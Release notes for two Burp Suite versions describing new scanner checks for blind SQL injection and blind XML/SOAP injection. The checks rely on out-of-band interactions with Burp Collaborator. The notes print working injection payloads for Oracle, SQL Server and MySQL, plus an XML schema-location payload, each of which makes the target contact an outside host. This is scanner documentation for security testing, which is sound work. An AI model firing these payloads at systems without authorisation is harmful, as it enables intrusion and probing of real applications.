1.6.27

This release adds the ability to detect completely blind SQL injection by triggering interactions with Burp Collaborator.

Previously, Burp Scanner has used various evidence to detect SQL injection, including:

• Error messages
• Differential responses through injected Boolean conditions
• Time delays

Each of these techniques involves sending payloads designed to trigger some kind of difference in the application's immediate response, whether in its actual contents or the time taken to receive it. In some situations, SQL injection conditions can exist that just cannot be found in this way, because there is no way to induce any difference in the application's immediate response.

Enter Burp Collaborator. Burp Scanner now sends payloads like:

'||(select extractvalue(xmltype(

'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ 

<!ENTITY % glrvh SYSTEM "http://fcvlarzebywms16gggoy7tvo.burpcollaborator.net/">%glrvh;]>'

),'/l') from dual)||'

';exec master.dbo.xp_dirtree

'\\thezf54sgc10xfbulutcc702ito.burpcollaborator.net\plu'--

'+(select load_file(

'\\\\y6544atx5hq5mk0zazih1cp77yd.burpcollaborator.net\\oyt'))+'

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

The above payloads work, respectively, on Oracle, Microsoft SQL Server, and MySQL (running on Windows). Each payload breaks out of the existing SQL query context and uses a database-specific technique to induce the database to perform some kind of network interaction with Burp Collaborator, through either a web URL or a UNC file path.

As things stand, having searched high and low, we have yet to find a similar technique that works against MySQL running on Linux. We would be highly appreciative if anyone can come up with a generic and feasible payload that safely induces MySQL on Linux to interact with an arbitrary external domain, without causing damage to any target systems or data. The first person to email us a qualifying payload will be quite literally showered in Burp Suite swag, including a highly-coveted T-shirt.

MD5: 53ca7d4a8ec8df95f81da624154916a7
SHA256: a242b4e0b611e3ef4302af42d36fd2be52479d98b595ecb67b1c143915dc312d

1.6.26

This release adds the ability to detect blind server-side XML/SOAP injection by triggering interactions with Burp Collaborator.

Previously, Burp Scanner has detected XML/SOAP injection by submitting some XML-breaking syntax like:

]]>>

and analyzing responses for any resulting error messages.

Burp now sends payloads like:

<nzf xmlns="http://a.b/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://kuiqswhjt3era6olyl63pyd.burpcollaborator.net/nzf.xsd">
nzf</nzf>

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

Note that this type of technique is effective even when the original parameter value does not contain XML, and there is no indication within the request or response that XML/SOAP is being used on the server side.

The new scan check uses both schema location and XInclude to cause the server-side XML parser to interact with the Collaborator server.

In addition, when the original parameter value does contain XML being submitted by the client, Burp now also uses the schema location and XInclude techniques to try to induce external service interactions. (We believe that Burp is now aware of all available tricks for inducing a server-side XML parser to interact with an external network service. But we would be very happy to hear of any others that people know about.)

MD5: aa39f49f7622a4686b2499a43b4ba602
SHA256: 755085c6a2da1947be634a10026c58bd60d3d6cdf41c6bb9f79b434993834962